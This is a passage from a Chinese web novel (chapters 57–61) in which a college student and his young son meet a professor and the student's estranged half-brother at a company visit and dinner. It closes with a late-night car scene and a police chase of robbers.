二楼的观景平台上,多了群人,宋时蔚被围在最中间, 周围的人低声给他讲着些什么,宋时蔚个高腿长的,在人群中非常显眼。 “那是……宋时蔚教授吧?”不知道谁小声说了一声,其他人下意识的停下了攀谈,抬起头往上面看。 作为sw研究所的创始人, 宋时蔚是业内的毫无争议的大牛,除了白榆这种一心混的, 同领域内哪怕是学生也很少有不认识宋时蔚的人。 来渲染参观的学生里,掀起一片小小的哗然。 宋时蔚垂眸,隔着很远的一段距离看了过来,在人群中不着声色的隐秘和白榆对视。 不知道是不是白榆的错觉,他总觉得宋时蔚的眼神很温和,温和到有些沉溺。 “小榆。”唐豫南轻叫了一声,手很轻的在白榆肩上拍了一下。 他凑得很近, 表情有些奇怪,挡住了白榆的视线,问道,“一会结束了, 你回学校吗?” “不回。”白榆下意识扫了下刚被唐豫南拍过的肩,往旁走了两步,斜着去看宋时蔚。 宋时蔚已经带着一群人走了。 白榆眨了眨眼,莫名感觉宋时蔚好像不高兴了。 ? 手机上很快收到了条消息。 【宋时蔚:应该还有四十分钟左右,就到自由参观的时间】 【树:嗯,那我去找你吧:)】 【宋时蔚:嗯, 我到时候发定位给你】 宋时蔚看起来一切正常。 白榆觉得是他感觉错了,把手机关了。 四十分钟过的很快,一宣布接下来自由活动,白榆就给宋时蔚发了消息。 “我们一会去d区在看一眼吧,那边的运输路线真灵活啊。”老周飘到白榆旁边,感慨道,“你说我以后要是能进宣荣就好了。” “嗯,哦。”白榆专注的给宋时蔚发消息,心不在焉的回复。 老周看了眼自己一直咸鱼的前室友:“……” 我为什么要和他说这个啊? 看到宋时蔚发来的定位,白榆说道:“我出去一下,有事给我发消息,问起来就说我去上厕所了。” “啊???”老周满脸疑惑,怕被其他人听见了,不敢大声说话,“你去哪?别走丢了?” 白榆没听见老周的声音,避开其他人,从工厂里快步跑了出去。 白榆也不知道,自己为什么非要在这和宋时蔚见一面。 反正……出都出来了。 白榆舔了一下唇,快速的往前跑。 “去哪?” 低沉的声音从身后响起,白榆的衣领,被人轻轻拽了一下。 白榆一回头,宋时蔚一只手抱着白予安,正站在他身后。 看见白榆,安安的眼睛一亮,小手推了推爹地的胸脯,示意要下来。 宋时蔚半蹲下来,顺势把安安放在地上。 “爸爸。”白予安像滑溜的鱼从宋时蔚身上下来,哒哒跑到白榆身旁,拿了个漂亮袋子高举着,“这个,这个,是安安做的。” 白予安把漂亮袋子打开,里面是烤好的小饼干。 白予安仰起头,得意的说道,“下午安安自己做的,没有找老师帮忙。” “给爸爸。”白予安滚圆的眼睛里写满了‘快来夸我’,强调到,“只有安安一个,是自己做的。” 白榆半蹲了下来,拿了块饼干,咬在嘴里。 白予安皮卡皮卡的看着白榆,“爸爸,好吃吗?” 白榆非常捧场的鼓掌,真心说道,“好吃。太厉害了。” 饼干是很简单的圆形,被烤的有一点刚刚好的焦糊。 正好白榆喜欢吃糊一点的。 白予安被夸的一下就笑了,脸颊红红的,呆毛在脑袋上一晃一晃,喳喳喳喳的和白榆分享做饼干的事。 白榆又吃了两三块,视线扫过宋时蔚身上,想起他要当牛做马对宋时蔚好的事。 他想了下,从口袋里掏出湿巾,仔细地把手指擦干净,又从袋子里挑了一块好看的饼干,站起身,递到宋时蔚嘴边,“饼干,要吃吗?” 宋时蔚垂眸,看着他眼前的这只手。 白榆的手指细长,指甲贴着皮肉被修剪的整齐,冷白的皮肤下青色血管明显。此时这双漂亮的手,正小心翼翼地抓着饼干边缘,手的主人抬着头殷切切的看着他。 白榆见宋时蔚没反应,补充道:“我尝过了,没有很甜?” 宋时蔚没明白白榆的意思,“嗯?” 白榆自然地说道:“你不是不喜欢吃太甜的东西吗。” 宋时蔚对很多事物的喜恶,浅淡到连他自己都不在乎的地步。他平时吃什么,喜不喜欢什么的,都没那么重要。宋时蔚倒是没想到,这小孩是怎么发现的。 宋时蔚抬起手,准备去拿白榆手上的饼干。 白榆手往后一缩,“我就带了一张湿巾。” “你直接吃吧。”白榆继续把饼干送到宋时蔚嘴边,直接的说,“别把手弄脏了。你吃吧。” 白榆知道宋时蔚有些洁癖。 宋时蔚一顿,晦暗的扫了白榆一眼,低下头牙齿咬住了饼干,微微用力,把饼干从白榆手中叼走了。 白榆看着宋时蔚叼着饼干的样子,眼睛微微睁大, “你……” “嗯?”宋时蔚抬手抓住饼干,咬断,三两口把饼干吃了,拿纸擦了下手,语气平和,仿佛没有哪里不对的样子。 在空气诡异的沉默中,宋时蔚的手机响了。 宋时蔚看了眼号码,“我有个电话要接,可能要稍微久一点。你和安安先在等我一会可以吗?” “哦。”白榆点头,下意识的感慨道,“挺忙的。” 宋时蔚笑了下,声音温和,“没办法,上了年纪,事就是比较多。” 忙完技术上的事,还有合作上的事,总是那么多的事,不像年轻人,想谈恋爱就去追了。 宋时蔚脸色平静的连眉毛都没抬一下,但白榆莫名后颈发凉。 “我去接个电话。” 白榆目送着宋时蔚离开,心里还是发虚,干脆牵起白予安的小手,边和安安说话,边干脆在周边转转,打发时间。 “爸爸,望舒他们烤的饼干都有分给我吃哦。”安安向爸爸展示,自己有好好和其他小朋友相处。 “好吃吗。” 白予安不喜欢背后说其他小朋友不好,眨了眨眼,严肃的板着小脸说道:“还可以。” “那……”白榆顺着石碑走着。 三分钟后。 白榆抬头看着长的一模一样的树,陷入了沉默。 这是……是哪里? 为什么树都长的一模一样。 白榆转着头,往四周看,努力分辨自己到底是怎么走到这的。 被牵着一直在一个地方绕圈圈的白予安,有点晕,揉了揉眼睛,“爸爸,你要去哪里啊?” 白榆小声说,“回刚才的那个地方,等你爹。” “哦。”白予安牵着爸爸的手指头,转过身,指了另一个方向,“这里。” 一分钟后。 白榆看着熟悉的石碑,又一次陷入了沉默,“安安,你经常跟着宋时蔚来吗?为什么这么熟悉?” “为什么?”白予安眨了眨眼,不解的说,“这里不是爸爸家的公司吗。” “啊?”白榆还没反应过来,皮鞋踩在地面的声音就从远处传来。 白榆缓慢的抬起头,熟悉的身影一点点映入眼帘。 “小榆?”叶林是来找宋时蔚的,看到白榆脚步一顿,“你怎么在这?” 在前面树旁边站着的人,是他哥、 白榆握紧手心,下意识的往后退了两步。 但立马白榆就没在往后退了,他涣散的目光往移到了叶林旁边的人。 站在他哥旁边的是宋时蔚……吧。 第58章 白榆很久很久没见过叶林了 白漾有很多私生子, 白榆见过的也不少,但叶林是唯一一个被老爷子不顾所有人的脸面,也坚持要接回来的。 叶林大他十四岁, 被认回来的那年也才二十一,却已经凭着自己的能力,在商海中开辟出一片天地。不是当时的白榆能比的。 更何况那时候,走向衰退的老爷子和白家,迫切的需要一个优秀的后代。 事实上老爷子的眼光的确很准, 叶林确实盘活了当时的白家,走到了一个从未有过的高度。 再到后来, 老爷子离世,把企业彻底托付给叶林。 已经快四年了,白榆还是能回想起那天的事。 他当时人在学校,陆莫宁泄愤似的不停给他发消息——骂白漾,骂叶林,骂老爷子,骂他。 那天有考试, 也可能是这么多年夹在两人中间受不了了,白榆第一次把手机关了,没有立刻回陆莫宁的消息。 一直到晚上,他再打开手机的时候, 收到了医院的通知。 酗酒,酒驾,颅骨出血,在医院抢救。 一瞬间。 好像一切都挽回不了了。 他赶到了医院,但他妈再也没出来了。 当时来了很多人,所有人都围着他, 有人指着他鼻子骂他是个白眼狼,不停的告诉白榆,他妈是因为叶林才死的。 他当时情绪激动,但身体更难受,说不出话来,不知道是胃还是哪个地方一直在疼,弯着腰,冷汗不停的在流。 他后面应该说了些什么吧,记不清了,不外乎就是怼了几句,反正当时那群人的脸色,一个比一个难看。 后面他生了场病,发烧,烧了半个月,快烧死了,一直在住院。 出来之后,就打着准备高考的名义,一直呆在学校里。 回避着叶林,回避着回避着,就到现在了。 白榆一直都清楚,他谁都不能恨,他只恨自己。 “小榆?”见白榆目光涣散,叶林轻皱起眉,轻声又叫了一次。 “嗯。”白榆回过神来,一眼就看到了,在叶林旁边同样轻皱着眉看着他的宋时蔚。 白榆叫了句,“哥。” 白榆发觉现在不是给自己回想往事的时候。 如果他现在在他哥面前—— 忽然出柜。 出柜对象是个大自己十二岁的老男人。 在宣布他们其实还有个一起生的亲生孩子! 会怎么样? …… 白榆记得叶林是有遗传性高血压的。 带药了吗? 这个地方救护车过来要多久? 白榆一下精神了,皮都紧绷了,脑子清明无比。 “爸爸。” 白榆低头,发现安安一双大眼睛一直小心的看着他,小手在他的手背上拍拍。 “我没事。”白榆安抚性地揉了把白予安的小脑袋。 “小榆,这就是你收养的那孩子吧。”这么久没见了,但叶林很快的调整好,语气娴熟自然的说道,“长得和你小时候真是一模一样。” “舅舅。”白予安眼睛亮晶晶的,伸起爪爪开心地打招呼。 好久没见舅舅了。 “宝宝。”叶林看着自己缩小版的弟弟,心都快化了。 “嗯。”白榆随便应了声,视线忍不住往宋时蔚身上瞟。 怎么办? 恰好宋时蔚也在看他。 四目相对,白榆试图用眼神来和宋时蔚交流。 众所不周知,眼睛主要是由胶质的晶状体组成的,而晶状体是不会说话的。 因此在宋时蔚的视角里,这小孩一直在对他眨眼睛。 一下又一下的。 明晃晃的看着他。 宋时蔚在心底带着点无奈的叹了口气。 他配合着,装作不认识的样子,把视线从白榆身上移开了。 “时蔚,这是我弟弟。白榆。”叶林在中间,妥帖地为两人介绍,“小榆,这是我认识了很多年的朋友。也是和公司合作的研究所的负责人,宋时蔚教授。” 宋时蔚对着白榆露出个见朋友家孩子的笑容。 叶林刚说的不是场面话,宋时蔚和叶林在国外读书的时候,就认识了,老同学加老朋友。 回国后,他也听叶林提起过有个弟弟,但从来没往白榆身上想。 没想到,白榆和叶林有血缘关系。 白榆的眼睛随他大美女的妈,叶林的眼睛叶随他那大美女的妈,除了这点以外,两人的其他五官都是像白漾的。 白漾虽然是个人渣,但脸没什么可说的。 因为平时性格相差巨大,其他人不会往这上面联想。但这两个人站一起时,几乎是一眼就能发现他们像。 “小榆,你叫时蔚……”叶林短暂的思考了一下,找了个亲近又不失礼貌的叫法,“你喊他宋叔叔就好了。” 辈分上,叶林是白榆的哥哥。但叶林比白榆大的多,人又老成,这么多年来,叶林一直把白榆当孩子看。 他下意识的让白榆叫宋时蔚叔叔。 “怎么……我这么老吗?”宋时蔚仿佛自嘲似的低笑了一声,神色如常,又像是没放在心上,半开玩笑地说道,“都叫起叔叔了。我比你大一辈了?” 叶林头一次发现,宋时蔚还会对称呼,辈分,年龄这种东西在意,但叶林没细想,顺着说道,“也是,那怎么叫你,叫你哥哥?好意思吗? ” 宋时蔚笑了声,没回叶林的话,视线对着白榆,像是随便他怎么叫。 白榆莫名有种他不好好叫,就完了的直觉。 叫什么。 哥哥? 叫宋时蔚……哥哥。 白榆鸡皮疙瘩起了一身,叫不出口。 他犹豫着,低低的喊了声,“小叔叔。” “小叔叔,好。”白榆垂着头,样子很乖的打招呼。 宋时蔚哑声,喉间一紧。 叶林没觉得这个称呼有哪里不对,打量着白予安。 虽然之前就看过照片,但白予安本人长的比照片里,还要像白榆小时候。 简直就和一个模子里刻出来的一样。也不知道这又是白漾和谁的孩子。 安安把眼睛睁得滚圆,奇怪的在三个大人之间,快速扭头来回看。 爸爸,在做什么? 爹地? 舅舅,为什么还不来抱我? 安安疑惑,但安安很乖的没有随便出声。 叶林走过去,把还在奇怪惊讶的小崽崽抱起来,安安也熟门熟路的趴在叶林身上,像小兔子一样的探出一双眼睛。 叶林:“小榆,你怎么在这?” 白榆刻意的不去了解家里企业上的事。他有一大笔股份,但不持有投票权。现在他才反应过来,好像几年前是有人给他说公司改名字了。 “学校举行的活动,来企业参观。”但凡白榆知道这是他家的公司,也绝对不会来。 “小榆学习辛苦了。” “还行。”白榆觉得辛苦这个词落不到他头上。 叶林抱着安安,颠了颠在感受小孩的重量,安安也配合的举高手,“安安,怎么也在这?” 白榆:“…………安安他今天提前放学,我就一起带过来了。” 这个话没那么合理,但叶林完全没在意这些事。 他只在心疼。 他小小一点,还要一个人带孩子的弟弟。 白榆的手机铃声忽然响起来,白榆顺手就接了。 “喂,白榆你去哪里了,发你消息你也不回。”老周看了眼老师,催促道,“你快回来,我们准备进行下一项了。” “我……”白榆看了他哥一眼。 “学校那边的电话吗?要不我跟你们老师打个招呼,让你先走。”叶林笑眯眯的说道,“一会跟我去和其他人吃个饭吧。” 白榆看着被叶林扣在怀里的白予安。 “我先走了。”白榆为自己飞掉的两个学分心痛。 老周:“你在说什么鬼话?你知不知道,这个机会……” “有急事,我先挂了。”白榆赶在老周继续说教前,挂了电话。 叶林:“我去给你们负责人解释下吧。” “不用了。”叶林要是起说了,到时候整个学校也都知道了,会麻烦。 叶林长长的叹了口气,苦口婆心的说道:“我没别的意思,就是担心你在学校会被人欺负。” 白榆:“……” 我吗? 第59章 白榆鸡皮疙瘩又起来了。 这么多年了, 白榆现在都不知道,是什么给了叶林一种全世界都在欺负他的错觉。 小时候三天两头的到派出所里去捞他,是怎么产生这种幻觉的?! 白榆就这么被叶林拐带着去吃口晚饭。 饭桌上, 不止他们三个人,还有一些公司高管和研究所的人,对着白榆一口一个小榆总的,白榆基本上一个都不认识。 他嚼着嘴里的菜叶子,吞下去。 现在他左边坐的是白予安。他家崽正在用一种一分钟十次的频率, 把小脑袋在他、叶林还有宋时蔚之间来回转,眼睛里写着奇怪两个字。 他左边的左边, 也就是白予安旁边的是他哥,目前正沉迷于养崽,陷入给安安投喂中,无法自拔,正在给安安盛第四碗汤。 他右边坐的是宋时蔚,对方也是目前为止最正常的,气定神闲的和人聊天, 如果聊天内容不是他就更好了。 “是吗。小榆原来在b大读书吗。”宋时蔚跟着叶林叫白榆,装的就和真不认识一样。 “对。”叶林笑着,继续说道,“其实家里没强求过他非要上什么大学的, 成绩怎么样。是小榆自己聪明,学什么都快,又懂事认真。他班主任经常给我说,他每天早上都是第一个到班里的,一到教室就开始看书。课上的笔记从来记的都是工工整整的。” 想起白榆连书都不带就去蹭课,每次都去的特别晚只能坐在第一排, 课堂作业和鬼画一样,连自己的专业课作业也能从头错到尾,宋时蔚从胸膛发出闷笑,“是,小榆一看就是这样的孩子” 叶林;“那是,他从小就……” 白榆脚趾都快扣出三室一厅了,低着头不抬起来。 一个瞎说。 一个装瞎。 白榆了解自己。 无论是小学、初中、高中的任何一个老师,不抢着告状就谢天谢地了,能说出这种话才见了鬼了。 内容纯瞎编的。 旁边的一位阿姨也跟着夸,“呦,我们小榆总,还是个大学霸呢。” 另外有个中年男人接着说道:“我家孩子一点都不让人省心,不学习就算了,还没少闯祸。每次他老师给我打电话,都和开批斗会一样。我孩子要是能有小榆总一半就好了。” 白榆心想,要是我是你孩子,那估计天天开批斗会,早晚给你批出斗鸡眼来。 “小榆总,高中成绩……” 听着这群人还在胡说,白榆脸上烧的厉害,青菜都快吃不下去了。 他制止不了叶林在那瞎说,但白榆觉得自己可以暗示一下宋时蔚,让宋时蔚不要跟着装瞎附和。 最好能转移话题别说他了。 白榆准备在桌子底下用腿撞宋时蔚,又想起那次在幼儿园的事,以及自己发过誓要对宋时蔚好。 白榆顿了顿,喝了口水,把手伸到桌子底下,委婉的轻拍一把宋时蔚的大腿。 然而距离没把握好。 手伸过了…… 他拍到宋时蔚大腿内侧……上面一点的地方了。 宋时蔚话音一顿,放下筷子,侧低下头,狭长的眼尾,透过镜片,没什么表情的扫了白榆一眼。 白榆被这个眼神扫的浑身发麻,心脏狂跳,手悬在半空僵住了。 “宋教授,来一根吗。”坐在宋时蔚旁边的人,热情的递了烟过。 宋时蔚慢了半拍才转过头,礼貌但有些冷淡的说道:“有小孩呢,不抽。” 递烟的那个人,也把烟收了回去,“也是,忘了这茬了。有孩子在呢。” 白榆趁着这个机会,把手缩回来了。 他大脑一片空白,拿起筷子就低头夹菜。 “小榆?”叶林余光瞥见白榆,提醒道,“那是西兰花。” “嗯?”白榆都咽下去了,也没吃出来时什么味。 叶林奇怪的问道:“你不是不吃西兰花的吗?空调开太高了吗?” “你脸怎么红了?” 白榆声音就像是从鼻腔里发出来的一样,“我感冒。” 叶林还是觉得不对,“怎么忽然生病了。” 白榆:“我……” 一双骨节分明,青筋明显的大手出现在白榆视线内,把两张湿巾拍到白榆掌心里。 宋时蔚:“擦擦。” 白榆攥着宋时蔚给的湿巾没明白。 宋时蔚调了下眉,认真的说道:“消毒。” 白榆:还隔着裤子呢? 没有摸到。 可以不擦的。 而且虽然我只轻轻拍了一下,也没有拍到多少。 但是你很好。 你……别太在意了。 白榆一抬头就看见他哥一脸奇怪的看着他,桌子上更是坐了一圈不认识的人。 叶林:“小榆,你怎么脸更红了?” “空调太高。”白榆握着湿巾随便擦了两下手,彻底吃不下饭了。 “调低一点?” “不用……” 服务员拿了酒进来,这酒是宣荣一位高管带过来的,专门打开给饭局暖暖场子。 “小榆总要尝尝吗?这酒我藏了五六年了,绝对不错。”对方热情的问道。 白榆正要拒绝,就听见宋时蔚的声音。 宋时蔚:“还小着呢。别喝了。” 叶林也没打算让白榆喝酒,但他有些奇怪。 宋时蔚对白榆太体贴了点,他什么时候是这么热心的人了? “也是。还是别这么早喝酒。”对方顺着宋时蔚的话说道,“小榆总喝果汁吗?” 酒喝的差不多了,双方也客气完了,该谈的正事,早就谈过了,这顿饭本来就是只是为了增进双方感情的,因此话题没转个几圈,又落回到白榆头上了。 “小榆总,有谈过恋爱吗?”之前说白榆是学霸的那个阿姨问道,“你长的这么俊,一定少不了人追的。有女朋友了吗。” 白榆:“没。” “大学啊,那么年轻。”旁边有人也跟着感慨,“年轻人的爱情,真美好啊。大学还是要和学校里的人谈个恋爱的。说起来,宋教授不是还在a大授课吗?应该看到过不少黏黏糊糊的小情侣吧。” “嗯。”宋时蔚端起酒杯,喝了几口,“那么多优秀好看的同龄人在一起,年龄又轻,生出感情再正常不过。” 白榆吞了块甜品,觉得宋时蔚哪不对。 叶林不这么觉得,“我倒觉得,那么早谈恋爱没什么好的。现在就有人冲着学生阅历浅,去骗学生感情呢。” 旁边有人笑着打趣,“叶总是太护着了。都是同龄人能骗什么感情。” 一直安静的坐着,乖乖吃饭的白予安听懂了。 小崽崽不高兴了,气鼓鼓的说道:“我爸爸才不会和别人谈恋爱呢。” 我爸爸已经结婚了,有小宝宝了。 “哈哈哈哈。”餐桌上的人看见小孩子这个样子,忍不住爆发出笑声。 白予安更生气了,小脸都气的鼓起来了。 宋时蔚主动端起酒杯,调开了话题,“希望接下来的合作一切顺利。” 叶林冲宋时蔚举了下杯子,“当然。” 其他人也跟着举起杯子。 * * * 饭局结束的时候,已经晚上九点多了。 白榆没喝酒,其他人都喝了不少。带过来的酒喝完后,又开了些别的。最后出来,身上都多多少少散发着酒气。 酒店给客人安排了代驾,人陆陆续续的到走了。 白榆跟在叶林旁边。 叶林趁这个难得的机会,打算说些什么,主动问道:“小榆,你怎么回去?” “我刚在网上叫了车。”白榆抱着白予安,小崽崽熬不了夜,一到点就困,在他身上趴着趴着就睡着了。 白榆装着看了眼手机,“车好像快到了。” “那我先走了。”白榆没等叶林说话,转身大步往前跑,“再见,哥。” 叶林看着自己弟弟的背影,皱了下眉。 一旁的秘书不放心的喊了声,“叶总。” “没事。” 有些事,不是那么简单的说说就能过去的。 白榆没在网上叫车。 他现在心里很乱,抱着白予安找了个地方躲了会,看人走的差不多了后,往停车场的方向走。 没由来的……白榆知道宋时蔚会等他。 第60章 宋时蔚给代驾了笔钱, 让人先走,他虚靠在车上,在这等着。 这个时间点, 餐厅的停车场里没什么人。倒是蝉在不停的叫着,蝉声一阵一阵,忽大忽小的。 过了会,一只白色的身影,朝着这边走了过来。 宋时蔚无声地笑了下。 白榆看着宋时蔚, 僵硬地问道:“你还在啊?” 刚说完,白榆就意识到这个问题有多傻逼了。 他眼巴巴的跑过来, 还问别人在不在。 上赶着吗? 宋时蔚弯唇,站直了身体,“嗯。” 宋时蔚身上沾染了酒气,但白榆觉得不难闻,酒气混着宋时蔚惯用的木质香水的味道,反而透出几分慵懒的气息。 “睡着了。”宋时蔚看着脑袋搁在白榆肩膀上,呼吸平稳的小崽崽, 轻声说道。 白榆:“嗯。” 宋时蔚把车门打开。 白榆把白予安抱了进去,小心地放在后座。 白予安睡的很沉,小嘴吧唧了两下,一点都没有醒过来的意思。 “车钥匙给我。”白榆准备去前面开车。 宋时蔚把车钥匙拿到白榆眼前。 白榆伸手去拿, 快拿到的时候,就见宋时蔚手掌一合,把钥匙又拿走了。 宋时蔚很低的笑了一声,高大的身形抵住车门,“等会在回去,在这透会气。” 白榆:“#” 白榆冷冷的哦一声。 白榆心想, 但凡换个人这样,绝对不会是这个待遇。不对,换个人老子也不会给他开车。 不生气。 就当关爱老人了。 白榆仗着没路灯,宋时蔚看不清偷偷翻了个白眼。 宋时蔚又笑了一声。 白榆不确定的问道:“你,喝醉了?” “没。”宋时蔚声音平稳,脸上也没有酒后的变化,随意地说道,“这点喝不醉。” “刚吃饭的时候,手干什么呢?”宋时蔚的声音不大,在蝉叫声中,就更不清楚了,但白榆敏锐的捕捉到了。 白榆心跳猛地增快,用力捏了下指尖,正准备从‘对不起,我错了,你听我解释……’开头,熟练的道歉,就听见宋时蔚轻飘飘地换了个话头。 “今天我去找你,你旁边的那男的,是你朋友?” “谁?”白榆神经高度紧绷着,没反应过来。 “站你旁边那个。瘦瘦高高的一男的。”宋时蔚看起来有些闷,随手把领带扯了下来,扔在车里。 白榆想了相当一段时间,才把宋时蔚的描述和人对上,“嗯。朋友。” 宋时蔚声音很低,继续问道:“好朋友?” 白榆:“算是。” 以前是,现在不是。 白榆不信奉什么分手后还能做朋友。友谊在一方变质的时候,就已经死掉了。但白榆也不会把谁给他表白了,他要和谁断交,这种事说出去,让人难堪。 宋时蔚哼笑了声,声音像是从胸膛发出的,“那你‘好朋友’应该不少。” 宋时蔚当时站在高处,他看的明显,这位‘好朋友’的眼睛,可从来没离开过白榆。年轻连示好都理直气壮。 白榆被这句话,激的后颈发麻。 宋时蔚俯下身,眼里含着没什么感情的笑意,昏暗的月光下,过分优越的五官,反而有种攻击性,“我呢。我是不是你好朋友。” 白榆反射条件的往后退了一步,弄不清宋时蔚在干什么。 好朋友? 我和你是什么好朋友? 撑死了也只是‘老’朋友。 宋时蔚逗了会小孩,见白榆最后也没说话,笑了下,觉得没意思。 他见白榆比刚才过来的时候心情好多了,也不想在停车场傻站着了,说道:“走吧,不然安安要等急了。” 白榆转头,后车窗蹭的一下冒出来半个小脑袋。 白予安把小脸用力贴在玻璃上,脸上的软肉都被压变形了,琥珀色的大眼睛一眨一眨的。 白予安:盯~ “安安你什么时候醒的。”白榆有种诡异的心虚,把车门一打开,白予安就像只树懒一样挂到白榆身上。 白予安看看爸爸,又看看爹地,眨眨眼,思考了一小会,诚实地说道:“在爹地吃醋的时候。” 沉默。 死一样的沉默。 沉默的快死了。 白榆连蝉在那瞎叫都听不见了。 “安安,你太小了。”白榆绷得很紧,嘴唇抿成一条线,“不了解的词,不可以乱说话。” 白予安不乐意了,脸颊鼓鼓的,“安安,才不是小孩子。而且,爹地以前给安安说过,吃醋就是……” “安安。”宋时蔚打断白予安的话 ,“你不是说有东西要给爸爸看的吗?” 小崽崽的注意力很快就被转移了,呆住了一下下,像想起了什么高兴的事,灿烂地笑起来,拍拍爸爸的胳膊,要下来。 白榆把安安重新塞回车里。 白予安在自己的小书包里翻啊翻,像是变魔术一样掏出一份信函,“爸爸,给。” 白榆接了过来,“这是什么?” “学校参观日的邀请函。”白予安兴冲冲的说,“安安有表演节目哦。” 白榆被白予安快要溢出来的开心所感染,问道“演什么。” 白予安趴在车窗上仰头看白榆,“安安演白雪公主里的小矮人。” 白榆不厚道的想。 他家崽,确实比别的孩子矮一些。 白榆努力不让自己笑出来,憋着笑,“好。我们先回家。” 宋时蔚把车钥匙给白榆,打开副驾驶的门,“我们走吧。” “好。”白榆跑到去前面开车。 车内的灯亮了起来,这里离宋时蔚家还挺远。白榆打开导航,选了条荒僻的小道,在驾驶座沉默的开着车。 白予安坐在后面,困倦的打了几个哈欠,头一歪,迷迷糊糊的又睡了过去。 车内安静的可怕。 人总是很奇怪。人多的时候,无论心里多难受,大脑也会下达指令,把这份情绪压住。 然而一旦安静下来,明明已经压下去的情绪,又要像犯贱一样,在翻出来。 白榆咬了下唇,大脑不受控制的在回想以前的事。 陆莫宁……死了。 白榆忽然觉得自己很冷。 “吃糖吗?”耳边响起熟悉温和的声音。 宋时蔚打开放在车上的糖盒,挑了颗草莓味的,递到白榆嘴边。 白榆在开车,下意识的低头,凑过去,一口吞掉了宋时蔚手中的糖。 宋时蔚有一瞬间的停顿,轻捻了指尖,回味着刚才指腹的触感,自己也从糖盒内挑了颗同样味道的糖果,含在嘴里。 草莓味酸酸甜甜的,白榆舌尖抵着糖果,像小孩一样用舌头把糖在嘴里转了一圈。 宋时蔚的存在感太高了,白榆没办法忽视他,车上忽然变得没那么安静了。 白榆目不斜视的看着前面的路,犹豫了许久,艰涩地说道:“你,不好奇我和叶林的关系吗?” 宋时蔚的声音很平静,抬手把白榆翘起的头发压了压,“如果你不想说,我就不好奇。” 宋时蔚手掌顺势贴在白榆的后颈,掌心的温度透过衣领渗了进去,像是安抚一样,多停留了两秒。 白榆紧绷的情绪,忽然崩泄,他咬着下唇,在路边找了个地方临时把车停了。 轮胎在地面发出摩擦的声音,白榆深吸几口气,安静的坐了几分钟,没什么语气的说道:“其实特别简单,我和叶林有血缘关系。但是不是一个妈。他和他妈妈姓。这两年,我和他因为一些事,没怎么见了。” 白榆从没和任何人主动提起过家里事,哪怕是谢昀澈和薛楠是也一样。 但宋时蔚不一样。 他可以给宋时蔚说。 可能是因为宋时蔚是安安血缘关系上的父亲,又或者别的随便什么原因,白榆就是觉得,他可以告诉宋时蔚。 什么都可以告诉宋时蔚。 宋时蔚很轻的应了一声,尾音比平时多拖了半拍,像是在哄人,听起来很温柔,“嗯。” 白榆眼睛一酸。【你现在阅读的是 】 60-70 第61章 白榆用力的闭了闭眼, 在心底告诉自己,说这些就行了。 他咬了下舌尖,叫自己冷静点。 白榆握紧着方向盘, 最终还是没能忍住,把这些年一直埋在心底的话,说了出来,“我爸和我妈是为了两家利益联姻的,没什么感情基础。不过我爸是个人渣, 他结婚前就在面有孩子,叶林就是其中一个。我舅舅和外公其实都是知道的, 但他们为了不让我妈闹,也帮忙瞒着。但这种事怎么可能瞒一辈子,何况结婚后,白漾也没打算改过,还在外面乱搞。我妈知道后,就很受打击,两个人经常的吵架, 打架。” “结婚不到半年,我妈就不住在家里了,她自己搬去在大学旁边和一个男大学生过。白漾也在外面和情人过。不过都这样了,他们还是没离婚, 还生了一个孩子,是不是……” 作为那个被生出来的孩子,白榆硬生生的止住了,沉默片刻后,他低着头,还是继续说道“是不是很恶心。” 宋时蔚没有说话。 白榆只是想把压在心底的事说出来, 他不需要别人的想法。更不需要一两句轻飘飘的关心,没那个必要。 白榆低着头,深呼着气,调整呼吸,嘴唇被很用力的抿起来。 “宋时蔚。”白榆第一次认真的叫宋时蔚全名,他用力眨了眨眼睛,让自己看起来正常点,转过头看着宋时蔚。 白榆脸上没什么表情,他不笑的时候,嘴角总是挂着,眼角天生的有一点耸拉,让他经常看起来有些冷淡,但此刻眼尾却染着点红晕,睫毛上悬着细碎的水珠,眼睛直勾勾的盯着宋时蔚,嘴唇张和,每个音都清晰可辨,“我和你不是朋友。” 宋时蔚心中震荡,难得有些狼狈的整个人绷紧身体。 “对我来说,你就和我真的小叔……哥哥一样。” 白榆移开头,没在去看宋时蔚了,视线闪躲,手指无意识地扣着方向盘。 他和宋时蔚其实没认识太久。 但白榆觉得宋时蔚是他很重要的人。 就和真正的亲人一样。 他……离不开宋时蔚。 白榆扣方向盘的动作停留一下,忍不住的想,要是宋时蔚真是他小叔叔就好了。 白榆吸了吸鼻子,状似随意地说道:“我不会和别人谈什么恋爱的,我不喜欢他们。我带着安安,你后面要结婚的话,就……” 白榆话还没说完,一双大手出现在他眼前,宋时蔚的手掌落在白榆的头顶,拍了一下,他用了点力,但动作很温柔,带一点点惩罚的意思。 白榆被忽然拍懵了。 宋时蔚俯下身,脸凑的离白榆很近,鼻尖几乎要蹭到白榆脸上,过黑的眸子认真的看着白榆,学着白榆的话说道:“我也不会和别人结婚的,我不喜欢他们。” 宋时蔚又往白榆头上轻拍了两下,仿佛忽然对车外的景色有了兴趣一样,侧身背对着白榆,往车窗外看。 白榆下意识伸手摸自己被拍过的地方,想起宋时蔚刚说的话,莫名的有点高兴。 他安静了一会,说道:“……别拍我头。” “嗯。”宋时蔚态度良好地随便应了一声。 宋时蔚的情绪和坐过山车一样,最终还是回归原地。 亲叔叔。 这小孩还真把自己当叔叔了。 宋时蔚看着窗外,手背青筋暴起,他知道有些话,终究不适合说出口。 白榆不知道为什么心情一下好了很多,他压了压唇角,发动车子准备往前走。 前面拐角处忽然一辆小车,开着远光,像只耗子一样歪歪扭扭的快速冲了出来。 白榆被光晃了下眼睛,脱口而出,“神经。” 哪来的煞笔,自己出车祸撞死就了算了,撞到别人了怎么办。 “滴~呜~~滴~呜~~滴~呜~~” 还没等白榆反应,伴随着尖锐的鸣笛声的一辆警车,也很快从拐角开了出来。 “附近的车辆注意避让,赶紧离开,前面车上是两名刚抢劫完金店的劫匪。”警车上的一民警察用车载扩音器反复喊着。 “赶紧离开!” 劫匪。 白榆眨了眨眼。 哦,劫匪啊。 另一辆车上。 “山哥,我们刚开过去的时候,后面有辆车。”开车的劫匪喊道。 “管他呢,我们赶紧开。草,早知道绑个人了。”被叫做山哥的劫匪握着自己手里的刀,浑身紧绷着,满脸凶狠,“老子运气太差了。” 白榆坐在宋时蔚车里,平静地说道:“你的车,我能随便开吗?有问题,我后面赔你。” 宋时蔚:“想怎么开怎么开。不用你赔。” 白予安被警笛声吵醒了,揉了揉眼睛,迷迷糊糊的想道。 劫匪。 白予安小手摸了摸自己的安全带,确定系好了。 白榆往后看了眼小崽崽,“安安,你系安全带了吗。” 